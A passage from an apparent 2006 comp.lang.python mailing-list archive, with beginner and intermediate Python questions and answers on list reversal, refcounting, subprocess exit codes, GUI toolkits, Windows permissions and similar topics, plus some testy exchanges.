<1160991239.541020.115320@m7g2000cwm.googlegroups.com> <453382b6$0$8601$426a74cc@news.free.fr> <1161054047.278803.241040@h48g2000cwc.googlegroups.com> <4534a656$0$19612$426a74cc@news.free.fr> <1161159369.957887.285370@m73g2000cwd.googlegroups.com> Message-ID: neoedmund wrote: > ivestgating the web, i found something similiar with my approch: > http://en.wikipedia.org/wiki/Duck_typing > "Duck-typing avoids tests using type() or isinstance(). Instead, it > typically employs hasattr() tests" that's not entirely correct, though: in Python, duck-typing typically uses "Easier to Ask Forgiveness than Permission" (EAFP), aka "Just Do It", rather than "Look Before You Leap" (LBYL). From martin at v.loewis.de Mon Oct 9 18:50:46 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 10 Oct 2006 00:50:46 +0200 Subject: distutils:permissions problems In-Reply-To: References: Message-ID: <452AD246.5010507@v.loewis.de> Eric S. Johansson schrieb: > The problem is that, because of a quirk (or misfeature) of VM Ware > shared filesystem, all of the directories and files are owned by root > with a 700 permissions. When I run setup.py install, they are installed > as root with 700 permissions. How can I alter the behavior of distutils > so that my modules could be installed with a more useful user and > permissions? I recommend to change the permissions after the files have been installed. If you absolutely have to change setup.py, you should inherit from the install_lib and install_scripts commands, and either override the "install" method to install using a different umask, or you should look at the get_outputs() result of the command, and modify the files after they got installed. You might also try changing your umask. Regards, Martin From fredrik at pythonware.com Tue Oct 31 02:55:24 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 08:55:24 +0100 Subject: 3d programming without opengl In-Reply-To: References: Message-ID: nelson - wrote: > i want to build up a simple 3d interactive geometry application in > python. Since i want to run it without 3D acceleration (a scene will > be quite simple) the scene is simple so I don't want to use a well-supported and widely used standard API because it might use hardware acceleration under the hood? I know they keep saying that premature optimization is evil, but I'm not sure premature unoptimization is any better :-) anyway, here are some links: http://www.vpython.org/ http://panda3d.org/ http://www.google.com/search?q=python+3D From jth02 at arcor.de Sun Oct 29 19:30:53 2006 From: jth02 at arcor.de (Jens Theisen) Date: 30 Oct 2006 00:30:53 +0000 Subject: beginner's refcount questions Message-ID: <87odru4pc2.fsf@arcor.de> Hello, python uses gc only where refcounts alone haven't yet done the job. Thus, the following code class Foo: def __del__(self): print "deled!" def foo(): f = Foo() foo() print "done!" prints deled! done! and not the other way round. In c++, this is a central technique used for all sorts of tasks, whereas in garbage collected languages it's usually not available. Is there a reason not to rely on this in Python? For example, are there alternative Python implementations that behave differently? Or some other subtle problems? And some other minor question: Is there a way to query the use count of an object? This would be useful for debugging and testing. -- Cheers, Jens From steven.bethard at gmail.com Tue Oct 17 11:12:13 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 17 Oct 2006 09:12:13 -0600 Subject: Tertiary Operation In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: abcd wrote: > x = None > result = (x is None and "" or str(x)) > print result, type(result) > > --------------- > OUTPUT > --------------- > None > > [snip] > ...what's wrong with the first operation I did with x? You weren't using Python 2.5: Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> x = None >>> '' if x is None else str(x) '' >>> Time to upgrade. ;-) Steve From grante at visi.com Fri Oct 20 11:39:20 2006 From: grante at visi.com (Grant Edwards) Date: Fri, 20 Oct 2006 15:39:20 -0000 Subject: FOR statement References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com> Message-ID: <12jhrd8brj7tmfd@corp.supernews.com> On 2006-10-20, Lad wrote: > If I have a list > > Mylist=[1,2,3,4,5] [...] > But how can I print it in a reverse order so that I get > 5 > 4 > 3 > 2 > 1 Another option: >>> Mylist=[1,2,3,4,5] >>> for i in Mylist[::-1]: ... print i ... 5 4 3 2 1 But, I think the reversed(Mylist) way is better. -- Grant Edwards grante Yow! Where's the Coke at machine? Tell me a joke!! visi.com From gmkrishn.uofc at gmail.com Sun Oct 29 16:23:33 2006 From: gmkrishn.uofc at gmail.com (Murali) Date: 29 Oct 2006 13:23:33 -0800 Subject: Reverse function python? How to use? In-Reply-To: <1162149971.025963.144720@e64g2000cwd.googlegroups.com> References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com> Message-ID: <1162157013.605081.151410@b28g2000cwb.googlegroups.com> Something like this? [code] foo = [x1,x2,x3,x4,x5] bar = [math.sqrt(math.fabs(x))+5*math.pow(x,3) for x in foo] bar.reverse() print bar [/code] frankie_85 wrote: > Ok I'm really lost (I'm new to python) how to use the reverse function. > > > I made a little program which basically the a, b, c, d, e which I have > listed below and basically I want it th result to be printed reverse so > instead doing "print e, d, c, b, a", I'd like to use the reverse > function > > Can someone give pointersguidelines / on how to do it? > > [code] > a = str(math.sqrt(math.fabs(x1)) + 5*((math.pow(x1,3)))) > b = str(math.sqrt(math.fabs(x2)) + 5*((math.pow(x2,3)))) > c = str(math.sqrt(math.fabs(x3)) + 5*((math.pow(x3,3)))) > d = str(math.sqrt(math.fabs(x4)) + 5*((math.pow(x4,3)))) > e = str(math.sqrt(math.fabs(x5)) + 5*((math.pow(x5,3)))) > [/code] > > Thanks in advance From sgilja at email.t-com.hr Wed Oct 18 13:53:30 2006 From: sgilja at email.t-com.hr (Stens) Date: Wed, 18 Oct 2006 19:53:30 +0200 Subject: characters in python In-Reply-To: References: Message-ID: Stens wrote: > Can python handle this characters: ??,??,??,??,??? > > If can how" Heh, It is from croatian language. So this characters are changed. From Benjamin.Barker at gmail.com Fri Oct 6 17:37:59 2006 From: Benjamin.Barker at gmail.com (Ben) Date: 6 Oct 2006 14:37:59 -0700 Subject: dictionary containing a list Message-ID: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> Hello... I have set up a dictionary into whose values I am putting a list. I loop around and around filling my list each time with new values, then dumping this list into the dictionary. Or so I thought... It would appear that what I am dumping into the dictionary value is only a pointer to the original list, so after all my iterations all I have is a dictionary whose every value is equal to that of the list the final time I looped around :-( Is there a way to acheive what I was attempting ? I have done something almost identical with classes in a list before, and in that case a new instance was created for each list entry... I hope this makes some sense, and doesn't seem to head bangingly simple... Cheers, Ben From hpsekhon at googlemail.com Mon Oct 2 12:50:52 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 17:50:52 +0100 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: References: <452125F8.8070106@googlemail.com> <45213245.3000808@googlemail.com> <452133F1.5050401@holdenweb.com> <45213700.5050907@googlemail.com> Message-ID: <4521436C.5040303@googlemail.com> ok, I was thinking of shifting using subprocess, guess I'd better do that and forget about this waste of time. thanks Hari Sekhon Fredrik Lundh wrote: > Hari Sekhon wrote: > > >> I'm sorry, this may seem dense to you but I have to ask. What on earth >> are you talking about? >> > > > >> Why is it shifted 8 bits to the left? Why is there bitshifting at all? >> Why doesn't commands give the same exit value as os.system() and the >> unix cli? >> > > because that's how Unix's wait() operation returns the status code (as > mentioned in the "commands" section of the library reference). > > you can use the os.WIFEXITED(status) and os.WEXITSTATUS(code) helpers to > convert between wait return codes and signal numbers/exit codes. see: > > http://docs.python.org/lib/os-process.html > > or you can forget about the obsolete "commands" module, and use the new > subprocess module instead; e.g. > > def getstatusoutput(command): > from subprocess import Popen, PIPE, STDOUT > p = Popen(command, stdout=PIPE, stderr=STDOUT, shell=True) > s = p.stdout.read() > return p.wait(), s > > print getstatusoutput("ls -l /bin/ls") > (0, '-rwxr-xr-x 1 root root 68660 Aug 12 2003 /bin/ls\n') > > the subprocess module is highly flexible; see the library reference for > details. > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nnorwitz at gmail.com Thu Oct 26 04:12:17 2006 From: nnorwitz at gmail.com (nnorwitz at gmail.com) Date: 26 Oct 2006 01:12:17 -0700 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: <453E5002.2020402@v.loewis.de> References: <453d4890$0$22566$9b622d9e@news.freenet.de> <1161682522.256752.56630@i42g2000cwa.googlegroups.com> <453E5002.2020402@v.loewis.de> Message-ID: <1161850336.936735.65570@f16g2000cwb.googlegroups.com> Martin v. L?wis wrote: > >> Let me second this. The compiler package is largely unmaintained and > >> was known to be broken (and perhaps still is). A replacement > >> implementation, especially if it comes with a new maintainer, would > >> be welcome. > > Many of these are fixed, but it wouldn't surprise me if there are > still bugs remaining. There's no maybe about it. http://python.org/sf/1544277 There were also problems with the global statement and something with keyword args. Though, both of those may have been fixed. Georg would probably remember, I think he fixed at least one of them. It's definitely broken unless someone fixed it when I wasn't looking. :-) I agree with Martin, a new maintainer would be nice. I plan to look at compiler2 when I get a chance. n From bellman at lysator.liu.se Tue Oct 3 04:03:26 2006 From: bellman at lysator.liu.se (Thomas Bellman) Date: Tue, 3 Oct 2006 08:03:26 +0000 (UTC) Subject: Need help with an array problem. References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> <1159826923.911685.30120@m73g2000cwd.googlegroups.com> <1159828738.510075.153600@i42g2000cwa.googlegroups.com> <6OlUg.4407$Y24.1210@newsread4.news.pas.earthlink.net> Message-ID: Dennis Lee Bieber wrote: > Of course, there is also the confusion between "type cast" and "type > conversion" -- at least, for me... > cast taking the bit-pattern of a value in one "type" and > interpreting the same bit-pattern as if it were a different "type" > conversion taking the value of a bit-pattern in one "type" and > converting it to the bit pattern of the equivalent value in another > "type" >From where have you learned those definitions? If it's from C, then you have read the wrong books. A cast in C is a type conversion, with the same semantics as you write under "conversion" above. The C standard (ISO/IEC 9899:1999) says: 6.5.4 Cast operators [...] Semantics Preceding an expression by a parenthesized type name converts the value of the expression to the named type. This construction is called a cast. A cast that specifies no conversion has no effect on the type or value of an expression. ("A cast that specifies no conversion" refers to when you cast from one type to the same type, e.g. '(int)x' if x is of the type 'int'.) You may also try this program: #include #include int main(void) { /* Assumption: sizeof(float)==sizeof(int). This is the most * common case on modern computers. */ float f = -17.0; int i = -23; float fjunk; int ijunk; printf("Cast: %d %10.6f\n", (int)f, (float)i); memcpy(&fjunk, &i, sizeof i); memcpy(&ijunk, &f, sizeof f); printf("Bitcopy: %d %10.6f\n", ijunk, fjunk); return 0; } If a cast had been what you believed, both printf() statements above would give the same output. Unless your C compiler uses some really strange floating point representation, they will print rather different things. The first one must print Cast: -17 -23.000000 showing very clearly that a cast is a type conversion. The second printf() will print some seemingly random numbers, showing that those bit-patterns will be interpreted very differently when interpreted as another type. What you might have been confused by, is dereferencing a casted pointer. Add the following statement: printf("Pointer cast: %d %10.6f\n", *(int*)&f, *(float*)&i); to the program. It should output the same numbers as the "Bitcopy" printf(). But what is cast here is the *address* of the variables, not the actual contents of them. It is the *dereferencing* of those casted pointers that interpret the bit patterns in the variables as if they were another type, not the casting itself. -- Thomas Bellman, Lysator Computer Club, Link?ping University, Sweden "I don't think [that word] means what you ! bellman @ lysator.liu.se think it means." -- The Princess Bride ! Make Love -- Nicht Wahr! From tim.golden at viacom-outdoor.co.uk Mon Oct 23 11:13:22 2006 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Mon, 23 Oct 2006 16:13:22 +0100 Subject: File and directory permissions in windows In-Reply-To: Message-ID: [ismael] | I have some problems to get the the permissions on windows. I | use a simple code that run perfectly in UNIX but give me wrong | information on Windows. I found this code searching by google: [... snip ...] | is there a solution for this?, another library or code? | Anything that i do wrong? Well, I'm certainly feeling guilty, because I've had a note on my TODO list since the last time this came up a month or so ago. In short, Windows doesn't really map the read/write/exec Posix model especially logically. AFAICT, the MS CRT code doesn't take account of NT permissions or things like PATHEXT at all -- which would give you non-readable or executable. The traditional DOS model only supports read-only (and hidden/system/archived which don't apply here) so there's no way, eg, for any combination of flags to indicate can't-read-at-all. In short, *I* need to provide that doc patch I got halfway through, and *you* need to find a way around whatever you're trying to do on Windows. Depending on what you're after, you might end up with some sort of try-except framework, or using the win32security module from the pywin32 extensions. Feel free to post again indicating what you're trying to do with the stat information. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From fredrik at pythonware.com Tue Oct 3 16:33:35 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 03 Oct 2006 22:33:35 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: LaundroMat wrote: > Suppose I have this function: > > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? f(1) > "None" doesn't seem to work.. None is an object. From hanumizzle at gmail.com Wed Oct 11 02:11:05 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 02:11:05 -0400 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <87ejtf75an.fsf@benfinney.id.au> References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> <87vemr76fu.fsf@benfinney.id.au> <463ff4860610102253l79c94092q398746105cabf145@mail.gmail.com> <87ejtf75an.fsf@benfinney.id.au> Message-ID: <463ff4860610102311v562882f6l12814ccd350bc0c9@mail.gmail.com> On 10/11/06, Ben Finney wrote: > "Theerasak Photha" writes: > > > On 10/11/06, Ben Finney wrote: > > > Why have you re-implemented (a less-functional version of) 'isinstance'? > > > > Ignorance, I think. But the issue is resolved now. Thank you. > > Hopefully it is also merely ignorance that leads you to such obsessive > type-checking. It would seem I clicked the Send button late. **Too slow!!** :) -- Theerasak From gagsl-py at yahoo.com.ar Mon Oct 2 18:17:36 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 02 Oct 2006 19:17:36 -0300 Subject: Python In-Reply-To: <3671C2002ECC9149B2B5509290F533A6457857@fiscex.FISCHERINTER NATIONAL.COM> References: <7.0.1.0.0.20060930002432.052e78c0@yahoo.com.ar> <3671C2002ECC9149B2B5509290F533A6457857@fiscex.FISCHERINTERNATIONAL.COM> Message-ID: <7.0.1.0.0.20061002185941.0408eb70@yahoo.com.ar> At Monday 2/10/2006 09:40, Bryan Leber wrote: Please keep your messages on the list. Other people may have bettter chances to help too. > > I don't see anything wrong with those lines. Try printing pullerList > >before the loop, to see exactly its contents. > > > >Yea, I have been printing what is in pullerList before and it shows >the four lines(i.e PATCH_NUMBER, BUG_NUMBER, etc) with the values >after it. One thing I notice is that using CVS, when the information >is pulled from the commit message, it puts all of those lines into >pullerList[0] index, so if I did pullerList[1] to try to get the >second line it gives me index out of range, because everything is in >index spot 0. So that is why we have to do line.split thing. When I >run it in debugger it does split the lines the variable ov shows >that it has the contents of overview in it, but just wont print it >to the file:( Use print repr(something) when you want to see its contents. For a list, in python, you'll get something like that: ['One','two','three'] That is, some items separated by commas and enclosed in [] If you get something different then pullerList is NOT what you expect it to be - and you'll have to figure out what happened to it, usually looking at where it comes from. For example, if you get it from a file -I think this is the case- and you want each line from the file in each list element, use file.readlines(). If you read the file as a whole (that is, using file.read()) you'll get something like 'one\ntwo\nthree\n' As I said before, make sure your script works fine testing it *alone*, after then, try it with CVSNT. If it doesnt work, maybe what you get is not what you expect it to be - use print repr(...) to see what's your input. Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From duncan.booth at invalid.invalid Wed Oct 4 16:14:33 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 4 Oct 2006 20:14:33 GMT Subject: item access time: sets v. lists References: <4cSUg.7864$753.4683@trnddc05> <1159988604.129350.119250@h48g2000cwc.googlegroups.com> Message-ID: "sjdevnull at yahoo.com" wrote: > A set, on the other hand, uses a hash table so finding an element > takes constant time (it's one hash lookup, independent of the size of > the set)--and determining an item isn't there is likewise constant > time. > One hash calculation, but there could be collisions. Worst case for an n element dict/set could be that it takes n attempts to find a value, although unless you try to do it deliberately by ensuring that the keys have identical hash values this won't happen in practice. Paul McGuire wrote: > Thanks, I stand corrected. How do they know how big a hash table to > use? I think this is an interesting problem. If I read the code correctly: Minimum size is 8. Whenever more than 2/3 of the slots are in use (including slots where the element has been deleted) the dictionary is resized to the smallest power of 2 (greater than 8) which is greater than 4 times the number of currently occupied slots (or 2 times the number of occupied slots when more than 50000 slots are occupied). This can reduce the size if a lot of elements have been deleted. From fredrik at pythonware.com Tue Oct 31 13:52:55 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 19:52:55 +0100 Subject: scared about refrences... In-Reply-To: <1162315016.354163.18950@i42g2000cwa.googlegroups.com> References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162242647.481298.251320@b28g2000cwb.googlegroups.com> <1162248250.994200.13450@m7g2000cwm.googlegroups.com> <1162254191.507805.276640@k70g2000cwa.googlegroups.com> <1162315016.354163.18950@i42g2000cwa.googlegroups.com> Message-ID: SpreadTooThin wrote: > Every time I pass a variable now I will worry that it will be changed > by the function... why? who's writing those scary functions that you cannot trust? and what makes you think they won't abuse any immutable data you give them? From eldiener_no_spam_here at earthlink.net Thu Oct 19 19:36:16 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Thu, 19 Oct 2006 23:36:16 GMT Subject: Lead Software Engineer In-Reply-To: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> Message-ID: Emma wrote: > Successful candidates meet the following requirements: > ? A burning desire to build rock-solid apps that people will be > unable > to live without I use to have a burning desire to cleverly answer questionnaires for companies which either don't exist or, if they do, don't tell you who they are, where they are located, or what they are offering, but I gave it up in infancy. From http Fri Oct 20 01:33:03 2006 From: http (Paul Rubin) Date: 19 Oct 2006 22:33:03 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: <7xac3ra6wg.fsf@ruckus.brouhaha.com> Kevin Walzer writes: > Am I better off biting the bullet and learning wxPython--a different GUI > paradigm to go with the new language I'm trying to learn? I had hoped to > reduce my learning curve, but I'm very concerned that I simply can't do > what I want to do with Tkinter. What do other Tkinter developers think? I haven't yet found the need to switch to wxPython. Tkinter is something of a least common denominator and as such it's been ok for the stuff I've used it for. However, tkinter's unpopularity is well grounded: - Tk widgets have their own look, which is both non-native and IMO ugly - limited widget set, especially the widgets included with python - clumsy programming interface (but wxpython is also clumsy) If you look at IDLE (the fanciest Tkinter app I've examined) the code is near incomprehensible. I have yet to see a gui toolkit which doesn't suck. I'm not sure why that is. Sometimes instead of a gui, I put a local http server into the app, and connect to it with a browser. Then I do the whole gui in html. This has many advantages and often not that much of a downside. There's a language called Picolisp in which this is the standard way to do a gui. Picolisp includes a java applet that can do some stuff that standard html widgets can't. These days I suppose it should use AJAX. From bdesth.quelquechose at free.quelquepart.fr Thu Oct 19 16:56:29 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Thu, 19 Oct 2006 22:56:29 +0200 Subject: proper format for this database table In-Reply-To: References: Message-ID: <4537e232$0$3280$426a34cc@news.free.fr> John Salerno a ?crit : > Hi guys. I was wondering if someone could suggest some possible > structures for an "Education" table in a database. Wrong newsgroup, then. comp.database.* is right next door... From ilias at lazaridis.com Sat Oct 7 23:49:38 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 7 Oct 2006 20:49:38 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: <2vXVg.139282$_J1.908700@twister2.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45254B18.2090806@v.loewis.de> <0BQVg.138807$zy5.1859480@twister1.libero.it> <2vXVg.139282$_J1.908700@twister2.libero.it> Message-ID: <1160279378.414897.263600@i42g2000cwa.googlegroups.com> Giovanni Bajo wrote: > Aahz wrote: > > >> Are you ever going to try and make a point which is not "you are not > >> entitled to have opinions because you do not act"? Your sarcasm is > >> getting annoying. And since I'm not trolling nor flaming, I think I > >> deserve a little bit more of respect. > > > > IMO, regardless of whether you are trolling or flaming, you are > > certainly being disrespectful. Why should we treat you with any more > > respect than you give others? > > Disrespectful? Because I say that I don't agree with some specific requirement, > trying to discuss and understand the rationale behind it? there's really not much to understand, just one thing: There are no rationales. This is a 'decision by feeling': http://groups.google.com/group/comp.lang.python/msg/0334d6ff60a48991 As for Mr. Holden... it's not a matter of not respecting you. It is in his nature to babble in this way. Sometimes it's even funny! . From a_salnikov at yahoo.com Mon Oct 9 21:04:24 2006 From: a_salnikov at yahoo.com (Andy Salnikov) Date: Mon, 9 Oct 2006 18:04:24 -0700 Subject: Names changed to protect the guilty References: <877izb1vwe.fsf@pobox.com> Message-ID: "Aahz" wrote in message news:egecss$o1l$1 at panix3.panix.com... > In article , Antoon Pardon > wrote: >> >>The problem is there is also ground for bugs if you don't use "blah is >>True". If some application naturally seems to ask for a variable that >>can be valued False, True or a positive integer then things like "if >>var" or "if not var" may very well be a bug too. > > Anyone designing an app like that in Python deserves to lose. It's just > another way of shooting yourself in the foot. OK, I guess nobody ever heard about three-valued logic before, right? Of course it does not apply to the original post because has_key() can only return True or False (I hope it will not ever return DontKnow:) but in general if you implement something like 3-valued logic choices like (False,True,None) are almost obvious. Andy. From martin at v.loewis.de Tue Oct 24 15:35:40 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 21:35:40 +0200 Subject: default python when multiple python installation on the box In-Reply-To: References: Message-ID: <453e6b0c$0$25200$9b622d9e@news.freenet.de> j_nwb schrieb: > I have multiple python installations. 2.2, 2.3, 2.4. When I install a > new package (pygtk2) , it always install in python 2.3. > I changed the /usr/bin/python to be 2.4 binary. Still the same behavior. > How does rpms, determine which installation to update ? Is there a > file somewhere ? > I am running in to this on Fedora as well as CenOS. Not sure what you mean by package: RPM package or distutils package? If RPM package: binary package or source package? Binary RPM packages have the Python version compiled into their extension modules, and you can't change that without recompilation. In addition, they have the directory and file names hard-coded in the RPM archive. Source RPM packages have the Python version coded into their spec file. You should read the spec file to find out what Python version it uses. Distutils packages use the Python version you use to run setup.py, so you should be able to install either with "python2.4 setup.py", or get a different Python selected by changing /usr/bin/python. Since you specifically asked about RPMs, I guess distutils packages are of no interest to you, though. Regards, Martin From johnjsal at NOSPAMgmail.com Tue Oct 10 11:50:00 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Tue, 10 Oct 2006 15:50:00 GMT Subject: can regular ol' python do a php include? In-Reply-To: References: Message-ID: Jean-Paul Calderone wrote: > def include(filename): > print open(filename).read() > > include('header.html') > > Behold, the power of a general purpose programming language. > > Jean-Paul Thanks, pretty good idea! But my guess is that I can't just use it this way within an HTML file. It seems like what I have to do is write my HTML files separately, with string formatters inserted in them, and then read *those* files into a separate Python file that is the actual URL visited. Not quite ideal either, but I guess that would work. Of course, if that's how it has to be done, I might as well just use PHP instead. It's only one function, after all. From tenax.raccoon at gmail.com Tue Oct 17 19:30:34 2006 From: tenax.raccoon at gmail.com (Jason) Date: 17 Oct 2006 16:30:34 -0700 Subject: Python wrapper for C++ core In-Reply-To: <1161126339.893795.254110@i3g2000cwc.googlegroups.com> References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com> Message-ID: <1161127834.850922.222320@k70g2000cwa.googlegroups.com> holly.woodl... at gmail.com wrote: > Hi All > > Apologies in advance for the pretty basic question - but I can't seem > to find an answer anywhere else. > > I am developing a fluid sim in C++ and have heard that many people use > Python in conjunction with C++ for this sort of thing (especially in > games dev). > > What I can't understand why you would want to do this. Obviously the > core would be written in C++ (for my purposes anyway) so what parts > would be written in Python? What is the benefit, in this situation, of > using Python instead of C++? > > thanks for your help > > Holly What would be the advantages? Let's see if I can knock it down for you. You didn't give any information about your fluid simulation other than you are developing it in C++. Whether or not you'd want to expose your fluid sim objects to Python depends on your purposes. If you code the main fluid engine in C++ and expose it in Python, you might be able to: 1) Easily run your fluid simulation over a variety of parameters. Vary the equation constants so you can see how the simulation works with water, rubbing alcohol, air, and molasses. 2) Perform statistical analysis of your results. Use one of the various statistical packages to examine the results. Use the CSV module to save out an Excel-compatible set of results, or use the Win32 modules to start up Excel and populate a spreadsheet. 3) Use Python to set up the specific physical layout for the fluid simulation. For a 2D fluid simulation, you might want to set up a specific set of walls. You can do that automatically, or use your own custom file format and let Python deal with parsing it. 4) Use Python to load models from different file formats into the simulation. For 3D fluid simulations, you'd most likely use CAD generated models. Create a basic C++/Python class for models that can load triangles into the simulation. For each format that you support, use or write a Python class, derived from the basic model class, that can parse that format and put the triangles into the model using the superclass. If the file format is text-based, Python's excellent string manipulation can help out here. 5) Use Python to allow the user to "react" to certain conditions and events during the simulation. Perhaps the model changes in one simulation at a given time (as a valve opens or closes). Perhaps if the model reaches a stable equilibrium, you'd like to end the simulation so you don't need to know exactly when to end the simulation. 6) Give your users the ability to perform any of the above. What Python can give you is flexibility. Whether or not this is useful for you depends entirely on the goals of your program, and the design of your program. I'm sure there are other things Python can do for you, but you'll need to figure them out (or post more information about your program). --Jason From kay.schluehr at gmx.net Sun Oct 15 22:21:50 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 15 Oct 2006 19:21:50 -0700 Subject: python's OOP question References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> Message-ID: <1160965310.124476.67550@e3g2000cwe.googlegroups.com> neoedmund wrote: > There's a program, it's result is "unexpected aaa", i want it to be > "expected aaa". how to make it work? > > [code] > > class C1(object): > def v(self, o): > return "expected "+o > > class C2(object): > def v(self, o): > return "unexpected "+o > def m(self): > print self.v("aaa") > > class C3(object): > def nothing(self): > pass > > def test1(): > o = C3() > setattr(o,"m",C2().m) > setattr(o,"v",C1().v) > o.m() > > test1() > > [/code] class C3(C1, C2):pass >>> C3.mro() # shows method resolution order [, , , ] >>> o = C3() >>> o.m() expected aaa From MonkeeSage at gmail.com Sun Oct 1 20:26:43 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 1 Oct 2006 17:26:43 -0700 Subject: changing numbers to spellings References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com> <1159679133.367507.286320@i42g2000cwa.googlegroups.com> <7xwt7k5ypf.fsf@ruckus.brouhaha.com> Message-ID: <1159748803.592758.18090@i42g2000cwa.googlegroups.com> Tim Williams wrote: > my_nums = { 1 : 'One' , 2 : 'Two' , 3 : 'Three' , 4 : 'Four' } # etc etc > print my_nums[x] That's what I suggested, but since a list is already zero indexed I used that rather than a dictionary. And Paul Rubin posted a very nice solution that handles numbers larger than 9. I think the OP wants us to write their GUI code for them or something... Regards, Jordan From bignose+hates-spam at benfinney.id.au Sun Oct 15 23:18:45 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Mon, 16 Oct 2006 13:18:45 +1000 Subject: python's OOP question References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> Message-ID: <87lknh0wyy.fsf@benfinney.id.au> [Please don't top-post above the text to which you're replying.] "neoedmund" writes: > I'm trying to achieve a higher level of "reusability". Maybe it > cannot be done in python? Can anybody help me? What, specifically, are you trying to achieve? What problem needs solving? -- \ "If you're a horse, and someone gets on you, and falls off, and | `\ then gets right back on you, I think you should buck him off | _o__) right away." -- Jack Handey | Ben Finney From Eric_Dexter at msn.com Tue Oct 24 19:38:28 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 24 Oct 2006 16:38:28 -0700 Subject: python GUIs comparison (want) In-Reply-To: References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> Message-ID: <1161733108.610956.220920@b28g2000cwb.googlegroups.com> I have to say that py-gtk is a pain to install. You have copywrites with the various parts of the library when you install all of it with apple and the people that do the pill library. I am looking at wxwindows and maybe vpython for graphics (If it will do what I want). wx.grid is a pain thus far but once you get it seems to work realy well. You load dabo and then load your program through dabo... That was all I needed to know to disregard it. http://www.dexrow.com Peter Decker wrote: > On 10/24/06, Kevin Walzer wrote: > > > wxPython: > > Pro: Popular, actively developed, wraps native widgets, looks great on > > Windows, commercial-friendly license > > Con: Based on C++ toolkit; docs assume knowledge of C++; some think > > coding style is too much like C++; complex to build and deploy on Linux > > (wraps Gtk) > > I agree with this assessment. I hated writing the code in wxPython, > since it was very ugly, with tons of getters/setters lots of constants > and ids WRITTEN_IN_ALL_CAPS. Yuck. > > That's why I think you and others are doing a grave disservice by > ignoring Dabo. With Dabo, you get the best-looking toolkit across > platforms (wxPython), but a clean, Pythonic API with none of the C++ > crud. I've been a dozen times more productive since I switched to > doing my UI code in dabo.ui, and even better, I don't have to > constantly look up the names of the appropriate constants, etc. - the > API is that much more consistent. > > -- > > # p.d. From martin at v.loewis.de Wed Oct 4 15:47:33 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 21:47:33 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: <45240FD5.3050705@v.loewis.de> Giovanni Bajo schrieb: > In fact, are you absolutely positive that you need so much effort to > maintain an existing bugtracker installation? I know for sure that GCC's > Bugzilla installation is pretty much on its own; Daniel Berlin does some > maintainance every once in a while (upgrading when new versions are out, > applying or writing some patches for most requested features in the > community, or sutff like that), but it's surely not his job, not even > part-time. Daniel Berlin has put a tremendous amount of work into it. I know, because I set 